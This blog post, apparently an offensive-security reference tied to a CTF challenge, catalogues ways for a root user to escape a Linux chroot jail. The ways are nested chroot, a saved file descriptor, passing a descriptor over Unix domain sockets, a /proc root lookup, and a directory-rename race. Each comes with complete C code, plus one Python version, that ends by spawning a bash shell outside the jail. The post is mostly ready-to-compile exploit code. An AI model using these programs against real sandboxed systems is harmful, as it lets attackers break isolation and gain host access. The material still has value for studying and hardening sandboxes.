Skip to main content

Chroot Jailbreaking

·1335 words·7 mins
y198
Author
y198
living in fuzzing
Table of Contents

1 - GTFO Bins
#

List of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.

GTFOBins

2 - Performing Chroot inside chroot jail
#

Description: Need to be root inside chroot to escape from it by creating another chroot. Because 2 chroot cannot coexist (in Linux). So when create a folder and then create a new chroot inside it, will you pop out of the jail and be able to read file in fs.

Challenge example: Challenge

gcc available, so write a C file to perform a chroot and pop out of chrooted enviroment. We need to using C to compile chroot because normally chroot binary is not available in chrooted enviroment. Compile, upload, execute is recommended.

#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>

//gcc break_chroot.c -o break_chroot

int main(void)
{
    mkdir("chroot-dir", 0755);
    chroot("chroot-dir");
    for(int i = 0; i < 1000; i++) {
        chdir("..");
    }
    chroot(".");
    system("/bin/bash");
}
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")

The above program will:

  1. Create a chroot environment.
  2. Change directory to a path relatively outside of the chroot environment. (to reach the root file system outside of chroot environment)
  3. Enter chroot to access the root file system.

3 - Root + Saved fd
#

Similar to the previous case, but in this case the attacker stores a file descriptor to the current directory and then creates the chroot in a new folder. Finally, as he has access to that FD outside of the chroot, he access it and he escapes.

#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>


int main(void)
{
    mkdir("tmpdir", 0755);
    int dir_fd = open(".", O_RDONLY);
    if(chroot("tmpdir")){
        perror("chroot");
    }
    fchdir(dir_fd);
    close(dir_fd);  
    for(int x = 0; x < 1000; x++) chdir("..");
    chroot(".");
    system("/bin/bash");
}

4 - Root + Fork + UDS (Unix Domain Sockets)
#

FD can be passed over Unix Domain Sockets, so:

  • Create a child process (fork)
  • Create UDS so parent and child can talk
  • Run chroot in child process in a different folder
  • In parent proc, create a FD of a folder that is outside of new child proc chroot
  • Pass to child procc that FD using the UDS
  • Child process chdir to that FD, and because it’s ouside of its chroot, he will escape the jail
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/un.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/wait.h>

#define CHROOT_PATH "tmpdir"  // Directory for chroot

// Function to send FD over socket
void send_fd(int socket, int fd) {
    struct msghdr msg = {0};
    struct cmsghdr *cmsg;
    char buf[CMSG_SPACE(sizeof(int))];
    memset(buf, 0, sizeof(buf));

    struct iovec io = {.iov_base = "FD", .iov_len = 2};
    msg.msg_iov = &io;
    msg.msg_iovlen = 1;
    msg.msg_control = buf;
    msg.msg_controllen = sizeof(buf);

    cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_level = SOL_SOCKET;
    cmsg->cmsg_type = SCM_RIGHTS;
    cmsg->cmsg_len = CMSG_LEN(sizeof(int));

    *((int *)CMSG_DATA(cmsg)) = fd;

    if (sendmsg(socket, &msg, 0) < 0) {
        perror("sendmsg");
        exit(EXIT_FAILURE);
    }
}

// Function to receive FD from socket
int receive_fd(int socket) {
    struct msghdr msg = {0};
    struct cmsghdr *cmsg;
    char buf[CMSG_SPACE(sizeof(int))];
    memset(buf, 0, sizeof(buf));
    char dummy[2];
    struct iovec io = {.iov_base = dummy, .iov_len = sizeof(dummy)};
    msg.msg_iov = &io;
    msg.msg_iovlen = 1;
    msg.msg_control = buf;
    msg.msg_controllen = sizeof(buf);

    if (recvmsg(socket, &msg, 0) < 0) {
        perror("recvmsg");
        exit(EXIT_FAILURE);
    }

    cmsg = CMSG_FIRSTHDR(&msg);
    if (cmsg == NULL || cmsg->cmsg_len != CMSG_LEN(sizeof(int))) {
        fprintf(stderr, "Invalid message received\n");
        exit(EXIT_FAILURE);
    }

    int fd = *((int *)CMSG_DATA(cmsg));

    // Verify FD validity
    if (fcntl(fd, F_GETFD) == -1) {
        perror("fcntl");
        exit(EXIT_FAILURE);
    }
    return fd;
}

int main() {
    int sockpair[2];
    pid_t pid;

    // Ensure the chroot directory exists
    if (mkdir(CHROOT_PATH, 0755) < 0 && errno != EEXIST) {
        perror("mkdir");
        exit(EXIT_FAILURE);
    }

    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockpair) < 0) {
        perror("socketpair");
        exit(EXIT_FAILURE);
    }

    pid = fork();
    if (pid < 0) {
        perror("fork");
        exit(EXIT_FAILURE);
    }

    if (pid == 0) {
        // Child process
        close(sockpair[0]);

        // Change root to a new directory (must be root to run chroot)
        if (chroot(CHROOT_PATH) < 0) {
            perror("chroot failed in child process");
            exit(EXIT_FAILURE);
        }
        if (chdir("/") < 0) {
            perror("chdir after chroot");
            exit(EXIT_FAILURE);
        }
        printf("Child: Chroot changed to %s\n", CHROOT_PATH);

        // Receive FD from parent
        int received_fd = receive_fd(sockpair[1]);
        printf("Child: Received FD %d from parent\n", received_fd);

        // Escape chroot jail
        if (fchdir(received_fd) < 0) {
            perror("fchdir");
            exit(EXIT_FAILURE);
        }

        printf("Child: Escaped chroot jail\n");
        for(int x = 0; x < 1000; x++) chdir("..");
        chroot(".");

        // Verify escape by listing current directory
        char cwd[1024];
        if (getcwd(cwd, sizeof(cwd)) != NULL) {
            printf("Child: Current working directory: %s\n", cwd);
            system("/bin/bash");  // Optionally, open bash shell for the child
        } else {
            perror("getcwd");
        }

        close(sockpair[1]);
    } else {
        // Parent process
        close(sockpair[1]);

        // Open a folder outside the chroot (e.g., /)
        int fd = open("/", O_RDONLY);
        if (fd < 0) {
            perror("open");
            exit(EXIT_FAILURE);
        }

        printf("Parent: Opened FD %d for /\n", fd);

        // Send FD to child
        send_fd(sockpair[0], fd);
        printf("Parent: Sent FD to child\n");

        close(fd);
        close(sockpair[0]);
        wait(NULL);  // Wait for child process to finish
    }
    
    return 0;
}

5 - Root + Mount
#

  • Mounting root device (/) into a directory inside the chroot jail
  • Chroot into that directory will pop you out of the box
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mount.h>
#include <string.h>
#include <errno.h>
#include <dirent.h>

#define CHROOT_PATH "chroot_env"

int main() {
    char proc_root[256];
    char target_root[256];
    struct stat own_root_stat, target_root_stat;
    DIR *proc_dir;
    struct dirent *entry;
    int found = 0;

    
    if (mkdir(CHROOT_PATH, 0755) < 0 && errno != EEXIST) {
        perror("mkdir");
        exit(EXIT_FAILURE);
    }

    
    if (chroot(CHROOT_PATH) < 0) {
        perror("chroot");
        exit(EXIT_FAILURE);
    }

    if (chdir("/") < 0) {
        perror("chdir");
        exit(EXIT_FAILURE);
    }

    
    if (mkdir("/proc", 0755) < 0 && errno != EEXIST) {
        perror("mkdir /proc");
        exit(EXIT_FAILURE);
    }

    if (mount("proc", "/proc", "proc", 0, NULL) < 0) {
        perror("mount /proc");
        exit(EXIT_FAILURE);
    }

    
    if (stat("/", &own_root_stat) < 0) {
        perror("stat /");
        exit(EXIT_FAILURE);
    }

    
    proc_dir = opendir("/proc");
    if (!proc_dir) {
        perror("opendir /proc");
        exit(EXIT_FAILURE);
    }

    while ((entry = readdir(proc_dir)) != NULL) {
        if (!isdigit(entry->d_name[0])) {
            continue; 
        }

        snprintf(proc_root, sizeof(proc_root), "/proc/%s/root", entry->d_name);

        if (stat(proc_root, &target_root_stat) == 0) {
            
            if (own_root_stat.st_ino != target_root_stat.st_ino) {
                found = 1;
                snprintf(target_root, sizeof(target_root), "/proc/%s/root", entry->d_name);
                break;
            }
        }
    }

    closedir(proc_dir);

    if (!found) {
        fprintf(stderr, "No suitable PID found for escaping chroot.\n");
        exit(EXIT_FAILURE);
    }

    printf("Using %s for escaping chroot.\n", target_root);

    if (chroot(target_root) < 0) {
        perror("chroot to target root");
        exit(EXIT_FAILURE);
    }

    printf("Successfully escaped chroot! Current directory:\n");
    system("ls /");

    
    system("/bin/bash");

    return 0;
}

6 - Root(?) + Fork
#

  • Create a Fork (child proc) and chroot into a different folder deeper in the FS and CD on it
  • From the parent process, move the folder where the child process is in a folder previous to the chroot of the children
  • This children process will find himself outside of the chroot
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <errno.h>

#define CHROOT_DIR "chroot_env"
#define NESTED_DIR "nesteddir"
#define NEW_DIR "moved_out"

// Function to move the child process to the real root
int movetotheroot() {
    for (int i = 0; i < 10; i++) { 
        if (chdir("..") < 0) {
            perror("[Child] movetotheroot: chdir");
            return -1;
        }
    }
    return 0;
}

int main() {
    pid_t pid;
    char child_path[256];

    // Create directory structure
    printf("[+] Creating directories...\n");
    mkdir(CHROOT_DIR, 0755);
    snprintf(child_path, sizeof(child_path), "/%s/%s", CHROOT_DIR, NESTED_DIR);
    mkdir(child_path, 0755);

    // Fork process
    printf("[+] Forking process...\n");
    pid = fork();
    if (pid < 0) {
        perror("fork");
        exit(EXIT_FAILURE);
    }

    if (pid == 0) {
        // Child process
        printf("[Child] Chrooting into %s...\n", CHROOT_DIR);
        if (chroot(CHROOT_DIR) < 0) {
            perror("[Child] chroot");
            exit(EXIT_FAILURE);
        }

        if (chdir("/nesteddir") < 0) {
            perror("[Child] chdir");
            exit(EXIT_FAILURE);
        }

        printf("[Child] Inside chroot, sleeping...\n");
        sleep(2); // Wait for the parent to move the directory

        printf("[Child] Attempting to escape chroot...\n");
        if (movetotheroot() < 0) {
            perror("[Child] Failed to move to real root");
            exit(EXIT_FAILURE);
        }

        if (chroot(".") < 0) {
            perror("[Child] chroot to real root");
            exit(EXIT_FAILURE);
        }

        printf("[Child] Escaped chroot! Current directory:\n");
        system("ls /");
        system("/bin/bash");
        exit(EXIT_SUCCESS);
    } else {
        // Parent process
        sleep(1); // Wait for the child to enter chroot
        printf("[Parent] Moving %s to %s...\n", NESTED_DIR, NEW_DIR);
        if (rename(child_path, NEW_DIR) < 0) {
            perror("[Parent] rename");
            exit(EXIT_FAILURE);
        }

        // Wait for the child to complete
        wait(NULL);
        printf("[Parent] Cleanup complete.\n");
    }

    return 0;
}